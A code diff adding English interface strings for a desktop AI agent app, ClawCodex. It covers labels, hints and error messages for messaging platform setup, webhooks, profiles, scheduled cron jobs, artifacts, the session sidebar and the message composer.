+      hatchRow: (_state, done, total) => `Sketching frame ${done} of ${total}…`,
+      hatchComposing: 'Piecing it together…',
+      hatchSaving: 'Almost there…',
+      namePlaceholder: 'Name your pet',
+      staleBackend: 'Update ClawCodex to generate pets.',
+      backgroundHint: 'You can close this — ClawCodex will notify you when it’s done.',
+      slowProviderHint: 'This can take several minutes',
+      remix: 'Remix',
+      remixConfirmTitle: 'Remix this look?',
+      remixConfirmBody:
+        'This generates a fresh set of drafts using this one as the starting point. It can take several minutes.',
+      genericError: 'Generation failed — try again or pick a suggestion.',
+      referenceImageTooLarge: 'Reference image is too large. Use one under 16 MB.',
+      referenceImageInvalid: 'Could not read that reference image. Try a PNG, JPG, WebP, or GIF.',
+      adopt: 'Adopt',
+      startOver: 'Start over'
+    },
+    installTheme: {
+      title: 'Install theme…',
+      pageTitle: 'Install theme',
+      placeholder: 'Search the VS Code Marketplace...',
+      loading: 'Searching the Marketplace...',
+      error: 'Could not reach the Marketplace.',
+      empty: 'No matching themes.',
+      install: 'Install',
+      installing: 'Installing...',
+      installed: 'Installed',
+      installs: count => `${count} installs`
+    },
+    settingsFields: 'Settings fields',
+    mcpServers: 'MCP servers',
+    archivedChats: 'Archived chats',
+    sections: { maintenance: 'Maintenance', sessions: 'Sessions', system: 'System', usage: 'Usage' },
+    sectionDescriptions: {
+      maintenance: 'Diagnostics, backups, curator, and memory data',
+      sessions: 'Search and manage sessions',
+      system: 'Status, logs, and system actions',
+      usage: 'Token, cost, and skill activity over time'
+    },
+    nav: {
+      newChat: { title: 'New session', detail: 'Start a fresh session' },
+      settings: { title: 'Settings', detail: 'Configure ClawCodex desktop' },
+      skills: { title: 'Capabilities', detail: 'Skills, tools, and MCP servers' },
+      messaging: { title: 'Messaging', detail: 'Set up Telegram, Slack, Discord, and more' },
+      artifacts: { title: 'Artifacts', detail: 'Browse generated outputs' }
+    },
+    sectionEntries: {
+      sessions: { title: 'Sessions panel', detail: 'Search, pin, and manage sessions' },
+      system: { title: 'System panel', detail: 'Gateway status, logs, restart/update' },
+      usage: { title: 'Usage panel', detail: 'Token, cost, and skill activity' }
+    },
+    providerNavigate: 'Navigate',
+    providerSessions: 'Sessions',
+    refresh: 'Refresh',
+    refreshing: 'Refreshing...',
+    noResults: 'No matching results found.',
+    pinSession: 'Pin session',
+    unpinSession: 'Unpin session',
+    exportSession: 'Export session',
+    deleteSession: 'Delete session',
+    noSessions: 'No sessions yet.',
+    gatewayRunning: 'Messaging gateway running',
+    gatewayStopped: 'Messaging gateway stopped',
+    clawcodexActiveSessions: (version, count) => `ClawCodex ${version} · Active sessions ${count}`,
+    restartGateway: 'Restart gateway',
+    gatewayRestartFailed: 'Gateway restart failed.',
+    updateClawCodex: 'Update ClawCodex',
+    actionRunning: 'running',
+    actionDone: 'done',
+    actionFailed: 'failed',
+    actionStartedWaiting: 'Action started, waiting for status...',
+    loadingStatus: 'Loading status...',
+    recentLogs: 'Recent logs',
+    noLogs: 'No logs loaded yet.',
+    days: count => `${count}d`,
+    statSessions: 'Sessions',
+    statApiCalls: 'API calls',
+    statTokens: 'Tokens in/out',
+    statCost: 'Est. cost',
+    actualCost: cost => `actual ${cost}`,
+    loadingUsage: 'Loading usage...',
+    noUsage: period => `No usage in the last ${period} days.`,
+    retry: 'Retry',
+    dailyTokens: 'Daily tokens',
+    input: 'input',
+    output: 'output',
+    noDailyActivity: 'No daily activity.',
+    topModels: 'Top models',
+    noModelUsage: 'No model usage yet.',
+    topSkills: 'Top skills',
+    noSkillActivity: 'No skill activity yet.',
+    actions: count => `${count} actions`,
+    logFile: 'Log file',
+    logLevel: 'Level',
+    logSearchPlaceholder: 'Filter log lines...',
+    maintenance: {
+      runOps: 'Diagnostics',
+      doctor: 'Run doctor',
+      doctorDesc: 'Health-check the install, config, and providers',
+      securityAudit: 'Security audit',
+      securityAuditDesc: 'Scan config and skills for risky settings',
+      backup: 'Create backup',
+      backupDesc: 'Zip config, memories, skills, and sessions',
+      debugShare: 'Debug share',
+      debugShareDesc: 'Upload a redacted report + logs, get shareable links (auto-deletes in 6h)',
+      debugShareRunning: 'Uploading debug report...',
+      debugShareLinks: 'Share links',
+      debugShareFailed: 'Debug share failed',
+      copyLink: 'Copy link',
+      linkCopied: 'Link copied',
+      curator: 'Skill curator',
+      curatorDesc: 'Background review that archives stale agent-created skills',
+      curatorPaused: 'Paused',
+      curatorActive: 'Active',
+      curatorDisabled: 'Disabled',
+      curatorLastRun: when => `Last run ${when}`,
+      curatorNeverRan: 'Never ran',
+      pause: 'Pause',
+      resume: 'Resume',
+      runNow: 'Run now',
+      memoryData: 'Memory data',
+      memoryDataDesc: 'Built-in memory files injected into every session',
+      memoryProvider: name => `Active provider: ${name}`,
+      builtinMemory: 'built-in',
+      memoryFile: 'Agent memory (MEMORY.md)',
+      userFile: 'User profile (USER.md)',
+      bytes: size => size,
+      empty: 'empty',
+      resetMemory: 'Reset memory',
+      resetUser: 'Reset profile',
+      resetAll: 'Reset both',
+      resetConfirm: target => `Delete ${target}? This cannot be undone.`,
+      resetDone: files => `Deleted ${files}.`,
+      resetFailed: 'Memory reset failed',
+      actionStarted: name => `${name} started — tailing log...`,
+      actionFailed: name => `${name} failed to start`,
+      running: 'Running...',
+      viewLog: 'Action log'
+    }
+  },
+
+  messaging: {
+    search: 'Search messaging...',
+    loading: 'Loading messaging platforms...',
+    loadFailed: 'Messaging platforms failed to load',
+    states: {
+      connected: 'Connected',
+      connecting: 'Connecting',
+      disabled: 'Disabled',
+      fatal: 'Error',
+      gateway_stopped: 'Messaging gateway stopped',
+      not_configured: 'Needs setup',
+      pending_restart: 'Restart needed',
+      retrying: 'Retrying',
+      startup_failed: 'Startup failed'
+    },
+    unknown: 'Unknown',
+    hintPendingRestart: 'Restart the gateway from the status bar to apply this change.',
+    hintGatewayStopped: 'Start the gateway from the status bar to connect.',
+    credentialsSet: 'Credentials set',
+    needsSetup: 'Needs setup',
+    gatewayStopped: 'Messaging gateway stopped',
+    getCredentials: 'Get your credentials',
+    openSetupGuide: 'Open setup guide',
+    required: 'Required',
+    recommended: 'Recommended',
+    advanced: count => `Advanced (${count})`,
+    noTokenNeeded: 'This platform does not need a token here. Use the setup guide above, then enable it below.',
+    enabled: 'Enabled',
+    disabled: 'Disabled',
+    unsavedChanges: 'Unsaved changes',
+    saving: 'Saving...',
+    saveChanges: 'Save changes',
+    saved: 'Saved',
+    replaceValue: 'Replace current value',
+    openDocs: 'Open docs',
+    clearField: key => `Clear ${key}`,
+    enableAria: name => `Enable ${name}`,
+    disableAria: name => `Disable ${name}`,
+    platformEnabled: name => `${name} enabled`,
+    platformDisabled: name => `${name} disabled`,
+    restartToApply: 'This change takes effect after a gateway restart.',
+    setupSaved: name => `${name} setup saved`,
+    restartToReconnect: 'New credentials take effect after a gateway restart.',
+    keyCleared: key => `${key} cleared`,
+    setupUpdated: name => `${name} setup was updated.`,
+    failedUpdate: name => `Failed to update ${name}`,
+    failedSave: name => `Failed to save ${name}`,
+    failedClear: key => `Failed to clear ${key}`,
+    pendingRequests: count => `Pending requests (${count})`,
+    pendingAria: count => `${count} pending pairing ${count === 1 ? 'request' : 'requests'}`,
+    approvedUsers: count => `Approved users (${count})`,
+    approve: 'Approve',
+    approving: 'Approving...',
+    revoke: 'Revoke',
+    revoking: 'Revoking...',
+    revokeAria: name => `Revoke ${name}`,
+    revokeTitle: 'Revoke access',
+    revokeDesc: (name: string) => `${name} will lose access and stop being recognized on their next message.`,
+    approvedUser: name => `${name} approved`,
+    approvedHint: 'They are recognized automatically on their next message.',
+    revokedUser: name => `${name} revoked`,
+    failedApprove: name => `Failed to approve ${name}`,
+    failedRevoke: name => `Failed to revoke ${name}`,
+    pairingLockedOut: 'Too many failed approvals — this platform is locked out. Try again later.',
+    waitingSince: minutes => (minutes < 1 ? 'just now' : `${minutes}m ago`),
+    fieldCopy: {
+      TELEGRAM_BOT_TOKEN: {
+        label: 'Bot token',
+        help: 'Create a bot with @BotFather, then paste the token it gives you.',
+        placeholder: 'Paste Telegram bot token'
+      },
+      TELEGRAM_ALLOWED_USERS: {
+        label: 'Allowed Telegram user IDs',
+        help: 'Recommended. Comma-separated numeric IDs from @userinfobot. Without this, anyone can DM your bot.'
+      },
+      TELEGRAM_PROXY: { label: 'Proxy URL', help: 'Only needed on networks where Telegram is blocked.' },
+      DISCORD_BOT_TOKEN: {
+        label: 'Bot token',
+        help: 'Create an application in the Discord Developer Portal, add a bot, then paste its token.'
+      },
+      DISCORD_ALLOWED_USERS: {
+        label: 'Allowed Discord user IDs',
+        help: 'Recommended. Comma-separated Discord user IDs.'
+      },
+      DISCORD_REPLY_TO_MODE: { label: 'Reply style', help: 'first, all, or off.' },
+      DISCORD_ALLOW_ALL_USERS: {
+        label: 'Allow all Discord users',
+        help: 'Development only. When true, anyone can DM the bot without an allowlist.'
+      },
+      DISCORD_HOME_CHANNEL: {
+        label: 'Home channel ID',
+        help: 'Channel where the bot sends proactive messages (cron output, reminders).'
+      },
+      DISCORD_HOME_CHANNEL_NAME: {
+        label: 'Home channel name',
+        help: 'Display name for the home channel in logs and status output.'
+      },
+      BLUEBUBBLES_ALLOW_ALL_USERS: {
+        label: 'Allow all iMessage users',
+        help: 'When true, skip the BlueBubbles allowlist.'
+      },
+      MATTERMOST_ALLOW_ALL_USERS: { label: 'Allow all Mattermost users' },
+      MATTERMOST_HOME_CHANNEL: { label: 'Home channel' },
+      QQ_ALLOW_ALL_USERS: { label: 'Allow all QQ users' },
+      QQBOT_HOME_CHANNEL: { label: 'QQ home channel', help: 'Default channel or group for cron delivery.' },
+      QQBOT_HOME_CHANNEL_NAME: { label: 'QQ home channel name' },
+      SLACK_BOT_TOKEN: {
+        label: 'Slack bot token',
+        help: 'Use the bot token from OAuth & Permissions after installing your Slack app.',
+        placeholder: 'Paste Slack bot token'
+      },
+      SLACK_APP_TOKEN: {
+        label: 'Slack app token',
+        help: 'Use the app-level token required for Socket Mode.',
+        placeholder: 'Paste Slack app token'
+      },
+      SLACK_ALLOWED_USERS: { label: 'Allowed Slack user IDs', help: 'Recommended. Comma-separated Slack user IDs.' },
+      MATTERMOST_URL: { label: 'Server URL', placeholder: 'https://mattermost.example.com' },
+      MATTERMOST_TOKEN: { label: 'Bot token' },
+      MATTERMOST_ALLOWED_USERS: {
+        label: 'Allowed user IDs',
+        help: 'Recommended. Comma-separated Mattermost user IDs.'
+      },
+      MATRIX_HOMESERVER: { label: 'Homeserver URL', placeholder: 'https://matrix.org' },
+      MATRIX_ACCESS_TOKEN: { label: 'Access token' },
+      MATRIX_USER_ID: { label: 'Bot user ID', placeholder: '@clawcodex:example.org' },
+      MATRIX_ALLOWED_USERS: {
+        label: 'Allowed Matrix user IDs',
+        help: 'Recommended. Comma-separated user IDs in @user:server format.'
+      },
+      SIGNAL_HTTP_URL: {
+        label: 'Signal bridge URL',
+        placeholder: 'http://127.0.0.1:8080',
+        help: 'URL of a running signal-cli REST bridge.'
+      },
+      SIGNAL_ACCOUNT: { label: 'Phone number', help: 'The number registered with your signal-cli bridge.' },
+      SIGNAL_ALLOWED_USERS: { label: 'Allowed Signal users', help: 'Recommended. Comma-separated Signal identifiers.' },
+      WHATSAPP_ENABLED: {
+        label: 'Enable WhatsApp bridge',
+        help: 'Set automatically by the toggle below. Leave alone unless you know you need it.'
+      },
+      WHATSAPP_MODE: { label: 'Bridge mode' },
+      WHATSAPP_ALLOWED_USERS: {
+        label: 'Allowed WhatsApp users',
+        help: 'Recommended. Comma-separated phone numbers or WhatsApp IDs.'
+      }
+    },
+    platformIntro: {}
+  },
+
+  webhooks: {
+    search: 'Search webhooks...',
+    loading: 'Loading webhooks...',
+    loadFailed: 'Webhooks failed to load',
+    subscriptions: (count: number) => `Subscriptions (${count})`,
+    hint: 'Subscription changes hot-reload once the receiver is running. Disabled subscriptions reject incoming events.',
+    empty: 'No webhook subscriptions yet.',
+    disabledTitle: 'Webhook receiver disabled',
+    disabledBody:
+      'Webhooks are their own gateway platform. Enable them here to accept incoming HTTP events; chat channels are only needed when a subscription delivers to Telegram, Discord, Slack, or another channel.',
+    enable: 'Enable webhooks',
+    enabling: 'Enabling...',
+    enabled: (name: string) => `Enabled: "${name}"`,
+    disabled: (name: string) => `Disabled: "${name}"`,
+    enableRow: 'Enable',
+    disableRow: 'Disable',
+    delete: 'Delete',
+    deleting: 'Deleting...',
+    deleted: 'Webhook deleted',
+    deleteTitle: 'Delete webhook',
+    deleteDescPrefix: 'This will permanently remove ',
+    deleteDescSuffix: '. This cannot be undone.',
+    deleteFailed: (name: string) => `Failed to delete "${name}"`,
+    toggleFailed: (name, enabled) => `Failed to turn "${name}" ${enabled ? 'on' : 'off'}`,
+    newSubscription: 'New subscription',
+    restarting: 'Gateway restarting...',
+    restartNeeded: 'Webhooks are enabled, but the gateway still needs a restart before the receiver can come online.',
+    restartGateway: 'Restart gateway',
+    restartingGateway: 'Restarting...',
+    restartFailed: (detail: string) => `Gateway restart failed${detail}`,
+    enabledRestarting: 'Webhooks enabled; gateway restarting...',
+    all: '(all)',
+    deliverOnly: 'deliver only',
+    createdTitle: 'Subscription created',
+    createdSecretHint: 'Copy the secret now — it is only shown once.',
+    webhookUrl: 'Webhook URL',
+    secretOnce: 'Secret (shown once)',
+    done: 'Done',
+    fieldName: 'Name',
+    fieldNamePlaceholder: 'e.g. github-push',
+    fieldDescription: 'Description',
+    fieldDescriptionPlaceholder: 'What this webhook does (optional)',
+    fieldEvents: 'Events',
+    fieldEventsPlaceholder: 'comma-separated, leave empty for all',
+    fieldSkills: 'Skills',
+    fieldSkillsPlaceholder: 'comma-separated skill names (optional)',
+    fieldDeliver: 'Deliver to',
+    fieldDeliverOnly: 'Deliver payload only',
+    fieldPrompt: 'Prompt',
+    fieldPromptPlaceholder: 'Instructions for the agent when this webhook fires (optional)',
+    nameRequired: 'Name required',
+    create: 'Create',
+    creating: 'Creating...',
+    created: 'Created',
+    createFailed: (detail: string) => `Failed to create: ${detail}`,
+    copy: 'Copy',
+    deliverOptions: {
+      log: 'Log',
+      telegram: 'Telegram',
+      discord: 'Discord',
+      slack: 'Slack',
+      email: 'Email',
+      github_comment: 'GitHub comment'
+    }
+  },
+
+  profiles: {
+    close: 'Close profiles',
+    nameHint: 'Lowercase letters, digits, hyphens, and underscores. Must start with a letter or digit.',
+    title: 'Profiles',
+    count: count => `${count} ${count === 1 ? 'profile' : 'profiles'}`,
+    search: 'Search profiles...',
+    loading: 'Loading profiles...',
+    newProfile: 'New profile',
+    importProfile: 'Import profile…',
+    exportProfile: 'Export profile…',
+    imported: 'Profile imported',
+    exported: 'Profile exported',
+    failedImport: 'Failed to import profile',
+    failedExport: 'Failed to export profile',
+    allProfiles: 'All profiles',
+    showAllProfiles: 'Show all profiles',
+    switchToProfile: name => `Switch to ${name}`,
+    manageProfiles: 'Manage profiles…',
+    actions: 'Actions',
+    color: 'Color…',
+    colorFor: 'Color',
+    setColor: color => `Set color ${color}`,
+    autoColor: 'Auto',
+    noProfiles: 'No profiles yet.',
+    selectPrompt: 'Select a profile to view its details.',
+    refresh: 'Refresh profiles',
+    refreshing: 'Refreshing profiles',
+    default: 'default',
+    skills: count => `${count} ${count === 1 ? 'skill' : 'skills'}`,
+    env: 'env',
+    defaultBadge: 'Default',
+    rename: 'Rename',
+    renameMenu: 'Rename…',
+    editSoul: 'Edit SOUL.md…',
+    copySetup: 'Copy setup',
+    copying: 'Copying...',
+    modelLabel: 'Model',
+    skillsLabel: 'Skills',
+    notSet: 'Not set',
+    soulDesc: 'The system prompt and persona instructions baked into this profile.',
+    soulOptional: 'optional',
+    soulPlaceholder: mode => `The system prompt / persona for this profile.\nLeave blank to keep the ${mode} default.`,
+    soulPlaceholderCloned: 'cloned',
+    soulPlaceholderEmpty: 'empty',
+    unsavedChanges: 'Unsaved changes',
+    loadingSoul: 'Loading SOUL.md...',
+    emptySoul: 'Empty SOUL.md — start writing the persona...',
+    saving: 'Saving...',
+    saveSoul: 'Save SOUL.md',
+    deleteTitle: 'Delete profile?',
+    deleteDescPrefix: 'This will delete ',
+    deleteDescMid: ' and remove its ',
+    deleteDescSuffix: ' directory. This cannot be undone.',
+    deleting: 'Deleting...',
+    createDesc: 'Profiles are independent ClawCodex environments: separate config, skills, and SOUL.md.',
+    nameLabel: 'Name',
+    cloneFrom: 'Clone from',
+    cloneFromNone: 'None (blank)',
+    cloneFromDesc: 'Copies config, skills, and SOUL.md from the selected source profile.',
+    cloneFromDefault: 'Clone from default',
+    cloneFromDefaultDesc: 'Copy config, skills, and SOUL.md from your default profile.',
+    invalidName: hint => `Invalid name. ${hint}`,
+    nameRequired: 'Name is required.',
+    creating: 'Creating...',
+    createAction: 'Create profile',
+    renameTitle: 'Rename profile',
+    renameDescPrefix: 'Renaming updates the profile directory and any wrapper scripts in ',
+    renameDescSuffix: '.',
+    newNameLabel: 'New name',
+    renaming: 'Renaming...',
+    created: 'Profile created',
+    renamed: 'Profile renamed',
+    deleted: 'Profile deleted',
+    setupCopied: 'Setup command copied',
+    soulSaved: 'SOUL.md saved',
+    failedLoad: 'Failed to load profiles',
+    failedDelete: 'Failed to delete profile',
+    failedCopy: 'Failed to copy setup command',
+    failedLoadSoul: 'Failed to load SOUL.md',
+    failedSaveSoul: 'Failed to save SOUL.md',
+    failedCreate: 'Failed to create profile',
+    failedRename: 'Failed to rename profile'
+  },
+
+  cron: {
+    close: 'Close cron',
+    title: 'Scheduled jobs',
+    count: count => `${count} ${count === 1 ? 'job' : 'jobs'}`,
+    search: 'Search cron jobs...',
+    loading: 'Loading cron jobs...',
+    states: {
+      enabled: 'enabled',
+      scheduled: 'scheduled',
+      running: 'running',
+      paused: 'paused',
+      disabled: 'disabled',
+      error: 'error',
+      completed: 'completed'
+    },
+    deliveryLabels: {
+      local: 'This desktop',
+      telegram: 'Telegram',
+      discord: 'Discord',
+      slack: 'Slack',
+      email: 'Email'
+    },
+    scheduleLabels: {
+      daily: 'Daily',
+      weekdays: 'Weekdays',
+      weekly: 'Weekly',
+      monthly: 'Monthly',
+      hourly: 'Hourly',
+      'every-15-minutes': 'Every 15 minutes',
+      custom: 'Custom'
+    },
+    scheduleHints: {
+      daily: 'Every day at 9:00 AM',
+      weekdays: 'Monday through Friday at 9:00 AM',
+      weekly: 'Every Monday at 9:00 AM',
+      monthly: 'The first day of each month at 9:00 AM',
+      hourly: 'At the top of every hour',
+      'every-15-minutes': 'Every 15 minutes',
+      custom: 'Cron syntax or natural language'
+    },
+    days: {
+      '0': 'Sunday',
+      '1': 'Monday',
+      '2': 'Tuesday',
+      '3': 'Wednesday',
+      '4': 'Thursday',
+      '5': 'Friday',
+      '6': 'Saturday',
+      '7': 'Sunday'
+    },
+    dayFallback: value => `day ${value}`,
+    everyDayAt: time => `Every day at ${time}`,
+    weekdaysAt: time => `Weekdays at ${time}`,
+    everyDayOfWeekAt: (day, time) => `Every ${day} at ${time}`,
+    monthlyOnDayAt: (dayOfMonth, time) => `Monthly on day ${dayOfMonth} at ${time}`,
+    topOfHour: 'At the top of every hour',
+    everyHourAt: minute => `Every hour at :${minute}`,
+    newCron: 'New cron',
+    emptyDescNew:
+      'Schedule a prompt to run on a cron expression. ClawCodex will run it and deliver results to the destination you pick.',
+    emptyDescSearch: 'Try a broader search query.',
+    emptyTitleNew: 'No scheduled jobs yet',
+    emptyTitleSearch: 'No matches',
+    last: 'Last:',
+    next: 'Next:',
+    noRuns: 'No runs yet',
+    manage: 'Manage',
+    showRuns: 'Show runs',
+    hideRuns: 'Hide runs',
+    runHistory: 'Run history',
+    actionsTitle: 'Cron job actions',
+    resume: 'Resume cron',
+    pause: 'Pause cron',
+    resumeTitle: 'Resume',
+    pauseTitle: 'Pause',
+    triggerNow: 'Trigger now',
+    edit: 'Edit cron',
+    deleteTitle: 'Delete cron job?',
+    deleteDescPrefix: 'This will remove ',
+    deleteDescSuffix: ' permanently. It will stop firing immediately.',
+    deleting: 'Deleting...',
+    resumed: 'Cron resumed',
+    paused: 'Cron paused',
+    triggered: 'Cron triggered',
+    deleted: 'Cron deleted',
+    created: 'Cron created',
+    updated: 'Cron updated',
+    failedLoad: 'Failed to load cron jobs',
+    failedUpdate: 'Failed to update cron job',
+    failedTrigger: 'Failed to trigger cron job',
+    failedDelete: 'Failed to delete cron job',
+    failedSave: 'Failed to save cron job',
+    editTitle: 'Edit cron job',
+    createTitle: 'New cron job',
+    editDesc: 'Update the schedule, prompt, or delivery target. Changes apply on next run.',
+    createDesc: 'Schedule a prompt to run automatically. Use cron syntax or a natural phrase like "every 15 minutes".',
+    nameLabel: 'Name',
+    namePlaceholder: 'Morning briefing',
+    promptLabel: 'Prompt',
+    promptPlaceholder: 'Summarize my unread Slack threads and email me the top 5...',
+    frequencyLabel: 'Frequency',
+    deliverLabel: 'Deliver to',
+    deliverNeedsHomeChannel: 'set a home channel first',
+    modelLabel: 'Model',
+    modelDefault: 'Default (global model)',
+    customScheduleLabel: 'Custom schedule',
+    customPlaceholder: '0 9 * * * or weekdays at 9am',
+    customHint: 'Cron expression, or phrases like "every hour" or "weekdays at 9am".',
+    optional: 'Optional',
+    promptRequired: 'Prompt is required.',
+    promptScheduleRequired: 'Prompt and schedule are required.',
+    scheduleRequired: 'Schedule is required.',
+    scriptOnlyEditHint: 'Script-only job (no AI prompt). Job id:',
+    saveChanges: 'Save changes',
+    createAction: 'Create cron',
+    tabs: {
+      jobs: 'Jobs',
+      blueprints: 'Blueprints'
+    },
+    blueprints: {
+      tab: 'Blueprints',
+      startFrom: 'Start from',
+      custom: 'Custom',
+      subtitle: 'Ready-made automations',
+      dialogDesc: 'Fill in the details and schedule it.',
+      scheduleIt: 'Schedule it',
+      scheduling: 'Scheduling...',
+      scheduled: 'Blueprint scheduled',
+      loading: 'Loading blueprints...',
+      failedLoad: 'Failed to load blueprints',
+      emptyTitle: 'No blueprints available',
+      emptyDesc: 'No automation blueprints are available on this backend.'
+    }
+  },
+
+  artifacts: {
+    search: 'Search artifacts...',
+    refresh: 'Refresh artifacts',
+    refreshing: 'Refreshing artifacts',
+    indexing: 'Indexing recent session artifacts',
+    tabAll: 'All',
+    tabImages: 'Images',
+    tabFiles: 'Files',
+    tabLinks: 'Links',
+    noArtifactsTitle: 'No artifacts found',
+    noArtifactsDesc: 'Generated images and file outputs will appear here as sessions produce them.',
+    failedLoad: 'Artifacts failed to load',
+    openFailed: 'Open failed',
+    itemsImage: 'images',
+    itemsLink: 'links',
+    itemsFile: 'files',
+    itemsGeneric: 'items',
+    zero: '0',
+    rangeOf: (start, end, total) => `${start}-${end} of ${total}`,
+    goToPage: (itemLabel, page) => `Go to ${itemLabel} page ${page}`,
+    colTitleLink: 'Link title',
+    colTitleFile: 'Name',
+    colTitleDefault: 'Title / name',
+    colLocationLink: 'URL',
+    colLocationFile: 'Path',
+    colLocationDefault: 'Location',
+    colSession: 'Session',
+    kindImage: 'image',
+    kindFile: 'file',
+    kindLink: 'link',
+    chat: 'Chat',
+    copyUrl: 'Copy URL',
+    copyPath: 'Copy path'
+  },
+
+  artifactCard: {
+    kind: { code: 'Code', html: 'Interactive page', svg: 'Graphic' },
+    generating: lines => `Generating… ${lines} lines`,
+    versionBadge: count => `${count} versions`,
+    open: 'Open'
+  },
+
+  artifactPreview: {
+    versionOf: (current, total) => `v${current} of ${total}`,
+    olderVersion: 'Older version',
+    newerVersion: 'Newer version',
+    latest: 'Latest',
+    copyContent: 'Copy content',
+    download: 'Download',
+    openInBrowser: 'Open in browser',
+    openInBrowserFailed: 'Could not open in browser',
+    missingTitle: 'Artifact unavailable',
+    missingBody: 'This artifact is no longer in the local registry.'
+  },
+
+  sidebar: {
+    nav: {
+      'new-session': 'New session',
+      skills: 'Capabilities',
+      messaging: 'Messaging',
+      artifacts: 'Artifacts'
+    },
+    searchAria: 'Search sessions',
+    searchPlaceholder: 'Search sessions…',
+    clearSearch: 'Clear search',
+    noMatch: query => `No sessions match “${query}”.`,
+    results: 'Results',
+    pinned: 'Pinned',
+    sessions: 'Sessions',
+    cronJobs: 'Cron jobs',
+    groupAriaGrouped: 'Show sessions as a single list',
+    groupAriaUngrouped: 'Group sessions by workspace',
+    showProjects: 'Show projects',
+    showSessions: 'Show sessions',
+    groupTitleGrouped: 'Ungroup sessions',
+    groupTitleUngrouped: 'Group by workspace',
+    allPinned: 'Everything here is pinned. Unpin a chat to show it in recents.',
+    shiftClickHint: 'Shift-click a chat to pin',
+    noWorkspace: 'No workspace',
+    projectEmpty: 'No sessions yet',
+    noSessions: 'No sessions yet',
+    projects: {
+      sectionLabel: 'Projects',
+      home: 'Home',
+      newButton: 'New project',
+      createTitle: 'New project',
+      createDesc: 'Name a workspace and add one or more folders.',
+      renameTitle: 'Rename project',
+      addFolderTitle: 'Add folder',
+      namePlaceholder: 'e.g. Skunkworks',
+      foldersLabel: 'Folders',
+      ideaLabel: 'Idea',
+      ideaPlaceholder: "What's this project about? (saved to IDEA.md)",
+      ideaGenerate: 'Generate idea',
+      ideaGenerating: 'Generating…',
+      ideaShuffle: 'Shuffle templates',
+      noFolders: 'No folders added yet.',
+      addFolder: 'Add folder',
+      primaryBadge: 'primary',
+      removeFolder: 'Remove',
+      create: 'Create',
+      menu: 'Actions',
+      menuRename: 'Rename',
+      menuAppearance: 'Appearance',
+      noColor: 'No color',
+      menuAddFolder: 'Add folder',
+      menuSetActive: 'Set active',
+      menuDelete: 'Delete',
+      moveToProject: 'Move to project',
+      movedTo: name => `Moved to ${name}`,
+      moveFailed: 'Could not move session',
+      moveNoFolder: 'That project has no folder to move into',
+      moveNoProjects: 'No other projects',
+      reveal: 'Reveal in folder',
+      copyPath: 'Copy path',
+      removeFromSidebar: 'Hide from sidebar',
+      createFailed: 'Could not create project',
+      staleBackend:
+        'Update the ClawCodex backend to create projects — your backend is older than this desktop app (Settings → Updates → Backend).',
+      deleteConfirm: 'This removes the saved project from ClawCodex. Files, git repos, and worktrees stay untouched.',
+      startWork: 'New worktree',
+      newWorktreeTitle: 'New worktree',
+      newWorktreeDesc: 'Name the branch for this worktree.',
+      branchPlaceholder: 'e.g. my-feature',
+      branchOff: () => ({ after: '', before: 'branch off ' }),
+      baseBranchPlaceholder: 'Search branches…',
+      baseBranchNone: 'No branches found',
+      startWorkFailed: 'Could not create worktree',
+      worktreeProjectLabel: 'Project',
+      worktreeProjectPlaceholder: 'Search projects…',
+      worktreeProjectNone: 'No projects with a folder',
+      convertBranch: 'Convert a branch…',
+      convertBranchTitle: 'Convert a branch',
+      convertBranchDesc: 'Open checked-out branches, or create a worktree for a free branch.',
+      convertBranchPlaceholder: 'Search branches…',
+      convertBranchInstead: 'Convert an existing branch',
+      branchOpenExisting: 'open',
+      branchSwitchHome: 'switch home',
+      branchCreateWorktree: 'new worktree',
+      branchTrackRemote: 'track remote',
+      branchesLoading: 'Loading branches…',
+      noBranches: 'No branches found',
+      removeWorktree: 'Remove worktree',
+      removeWorktreeFailed: 'Could not remove worktree (uncommitted changes?)',
+      removeWorktreeConfirm:
+        'Remove it from git (deletes the worktree directory; the branch stays), or just hide the lane from the sidebar and leave the worktree on disk.',
+      removeWorktreeDirty:
+        'This worktree has uncommitted changes. Force-remove it (discards those changes), or just hide the lane and keep it on disk.',
+      forceRemove: 'Force remove',
+      enter: label => `Open ${label}`,
+      reorder: label => `Reorder ${label}`,
+      toggle: (label, open) => `${open ? 'Show' : 'Hide'} ${label} sessions`,
+      back: 'All projects'
+    },
+    newSessionIn: label => `New session in ${label}`,
+    showMoreIn: (count, label) => `Show ${count} more in ${label}`,
+    loading: 'Loading…',
+    loadMore: 'Load more',
+    loadCount: step => `Load ${step} more`,
+    row: {
+      pin: 'Pin',
+      unpin: 'Unpin',
+      copyId: 'Copy ID',
+      export: 'Export',
+      branchFrom: 'Branch',
+      rename: 'Rename',
+      archive: 'Archive',
+      newWindow: 'New window',
+      hideTabBar: 'Hide tab bar',
+      openInNewTab: 'Open in new tab',
+      openInSplit: 'Open in split',
+      copyIdFailed: 'Could not copy session ID',
+      sessionActions: 'Session actions',
+      sessionRunning: 'Session running',
+      needsInput: 'Needs your input',
+      waitingForAnswer: 'Waiting for your answer',
+      finishedUnread: 'Finished — unread',
+      backgroundRunning: 'Background task running',
+      handoffOrigin: platform => `Handed off from ${platform}`,
+      ownedByProfile: profile => `Profile: ${profile}`,
+      renamed: 'Renamed',
+      renameFailed: 'Rename failed',
+      renameTitle: 'Rename session',
+      renameDesc: 'Leave empty to clear.',
+      untitledPlaceholder: 'Untitled session',
+      untitledChat: id => `Chat ${id}`,
+      ageNow: 'now',
+      ageDay: 'd',
+      ageHour: 'h',
+      ageMin: 'm'
+    },
+    dateDivider: {
+      today: 'Earlier today',
+      yesterday: 'Yesterday',
+      thisWeek: 'Earlier this week',
+      lastWeek: 'Last week',
+      thisMonth: 'Earlier this month'
+    }
+  },
+
+  composer: {
+    message: 'Message',
+    wakingProfile: profile => `Waking up ${profile}…`,
+    placeholderStarting: 'Starting ClawCodex...',
+    placeholderReconnecting: 'Reconnecting to ClawCodex…',
+    placeholderFollowUp: 'Send follow-up',
+    newSessionPlaceholders: [
+      'What are we building?',
+      'Give ClawCodex a task',
+      "What's on your mind?",
+      'Describe what you need',
+      'What should we tackle?',
+      'Ask anything',
+      'Start with a goal'
+    ],
+    followUpPlaceholders: [
+      'Send a follow-up',
+      'Add more context',
+      'Refine the request',
+      "What's next?",
+      'Keep it going',
+      'Push it further',
+      'Adjust or continue'
+    ],
+    startVoice: 'Start voice conversation',
+    openDirective: 'Open',
+    queueMessage: 'Queue message',
+    steer: 'Steer the current run',
+    stop: 'Stop',
+    send: 'Send',
+    speaking: 'Speaking',
+    transcribing: 'Transcribing',
+    thinking: 'Thinking',
